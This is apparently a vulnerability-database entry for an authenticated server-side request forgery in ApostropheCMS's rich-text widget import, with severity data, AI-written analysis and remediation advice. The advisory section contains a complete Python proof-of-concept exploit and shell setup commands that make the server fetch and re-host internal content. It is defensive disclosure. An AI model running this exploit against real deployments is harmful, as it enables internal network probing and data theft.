Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Primary rating from Vendor (https://github.com/apostrophecms/apostrophe) · only source for this CVE.
CVSS VectorVendor: https://github.com/apostrophecms/apostrophe
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Lifecycle Timeline
3DescriptionCVE.org
Summary
ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.
Details
The vulnerable flow is in the rich-text widget sanitizer:
packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.jspackages/apostrophe/modules/@apostrophecms/area/index.jspackages/apostrophe/modules/@apostrophecms/widget-type/index.js
Relevant behavior:
- The backend accepts a widget payload containing
import.html. - It parses
<img src=...>values from that HTML. - For each image, it resolves the URL with:
new URL(src, input.import.baseUrl || self.apos.baseUrl)
- It then performs a server-side
fetch(url). - The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.
This is reachable during widget validation through:
POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft
PoC
- Start a local HTTP server with a valid PNG:
mkdir -p /tmp/apos-poc
base64 -d > /tmp/apos-poc/secret.png <<'EOF'
iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
EOF
cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1- Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin
import requests
def login(base_url: str, username: str, password: str) -> str:
url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
r = requests.post(
url,
json={
"username": username,
"password": password
},
timeout=20
)
r.raise_for_status()
data = r.json()
token = data.get("token")
if not token:
raise RuntimeError(f"Login succeeded but no token was returned: {data}")
return token
def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
url = urljoin(
base_url,
"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
)
payload = {
"areaFieldId": area_field_id,
"type": "@apostrophecms/rich-text",
"widget": {
"type": "@apostrophecms/rich-text",
"content": "<p>seed</p>",
"import": {
"html": f'<img src="{target_url}">',
"baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
}
}
}
r = requests.post(
url,
headers={
"Authorization": f"Bearer {token}",
"Accept": "application/json"
},
json=payload,
timeout=30
)
r.raise_for_status()
return r.json()
def main() -> int:
parser = argparse.ArgumentParser(
description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
)
parser.add_argument("--base-url", default="http://127.0.0.1:3000")
parser.add_argument("--username", default="admin")
parser.add_argument("--password", default="admin123")
parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
parser.add_argument(
"--fetch-image",
action="store_true",
help="Fetch the generated Apostrophe image URL after exploitation."
)
args = parser.parse_args()
try:
token = login(args.base_url, args.username, args.password)
result = trigger(args.base_url, token, args.area_field_id, args.target_url)
except Exception as exc:
print(f"[!] Exploit failed: {exc}", file=sys.stderr)
return 1
print("[+] Login OK")
print(f"[+] Bearer token: {token}")
print("[+] Exploit response:")
print(json.dumps(result, indent=2))
widget = result.get("widget") or {}
image_ids = widget.get("imageIds") or []
if not image_ids:
print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
return 0
image_id = image_ids[0]
image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
image_url = urljoin(args.base_url, image_path)
print(f"[+] Generated image id: {image_id}")
print(f"[+] Generated image URL: {image_url}")
if args.fetch_image:
r = requests.get(image_url, allow_redirects=True, timeout=30)
print(f"[+] Final fetch status: {r.status_code}")
print(f"[+] Final URL: {r.url}")
print(f"[+] Retrieved bytes: {len(r.content)}")
return 0
if __name__ == "__main__":
raise SystemExit(main())- Example usage:
python3 poc.py \
--base-url http://127.0.0.1:3000 \
--username admin \
--password admin123 \
--area-field-id cd4f89f5b834d0036f3867f1507a8add \
--target-url http://127.0.0.1:7777/secret.png \
--fetch-image- Expected result:
- The local listener receives:
GET /secret.png HTTP/1.1
- The API response includes a rewritten Apostrophe image URL and imageIds.
- The generated image URL can then be fetched through the application.
Additional note:
- If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.
Impact
An authenticated user with permission to submit or edit rich-text widget content can:
- trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)
- perform blind or semi-blind internal port and service discovery
- exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content
AnalysisAI
Authenticated server-side request forgery in ApostropheCMS allows low-privilege users to force the server to fetch arbitrary internal URLs through the rich-text widget import flow. Attackers with content editing permissions can exfiltrate internal data by crafting malicious image tags that trigger server-side fetch operations, with image-compatible responses being persisted and re-hosted by the application. Publicly available exploit code exists (full Python PoC published in GitHub advisory GHSA-pr28-mf3q-qpg6), enabling immediate weaponization. All versions through 4.29.0 are affected with no vendor-released patch identified at time of analysis, creating sustained exposure for organizations running this popular Node.js CMS.
Technical ContextAI
The vulnerability exists in ApostropheCMS's rich-text widget sanitization pipeline, specifically in the image import flow across three modules: @apostrophecms/rich-text-widget, @apostrophecms/area, and @apostrophecms/widget-type. The flaw maps to CWE-918 (Server-Side Request Forgery) and occurs because the backend accepts user-controlled HTML payloads via the widget validation API endpoint (/api/v1/@apostrophecms/area/validate-widget?aposMode=draft), parses <img src> attributes from import.html without proper validation, resolves URLs using JavaScript's URL constructor with attacker-controllable baseUrl parameters, and performs server-side fetch() operations to arbitrary destinations. The fetched response bodies are written to temporary files and passed through Apostrophe's standard image/attachment processing pipeline, causing the application to store and re-host the retrieved content. This server-side fetch mechanism was designed for legitimate HTML content import but lacks SSRF protections like URL allowlisting, protocol restrictions, or private IP range blocks. The package identifier pkg:npm/apostrophe confirms this affects the core npm package, not a plugin.
RemediationAI
No vendor-released patch identified at time of analysis for versions <=4.29.0. Organizations should monitor the official GitHub advisory (https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6) and repository for security updates. Until a patch is available, implement these SPECIFIC compensating controls: (1) Restrict rich-text widget editing permissions to only highly trusted users through Apostrophe's role-based access control - review all user accounts with 'edit' permissions on content types using rich-text widgets and remove unnecessary grants; note this reduces CMS functionality for untrusted contributors. (2) Deploy network-level egress filtering on the Apostrophe server to block outbound HTTP/HTTPS requests to RFC1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), link-local (169.254.0.0/16), and cloud metadata endpoints (169.254.169.254); configure firewall/security groups to allow only necessary external destinations; side effect is this may break legitimate external image imports if the import feature is actively used. (3) Implement application-level monitoring to detect suspicious POST requests to /api/v1/@apostrophecms/area/validate-widget containing 'import.html' payloads with non-standard baseUrl values - alert on requests with internal IP addresses or unexpected domains. (4) If import functionality is not required, consider monkey-patching or disabling the widget import flow at the module level, though this requires code modification and understanding of Apostrophe internals.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-918 – Server-Side Request Forgery (SSRF)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-36568
GHSA-pr28-mf3q-qpg6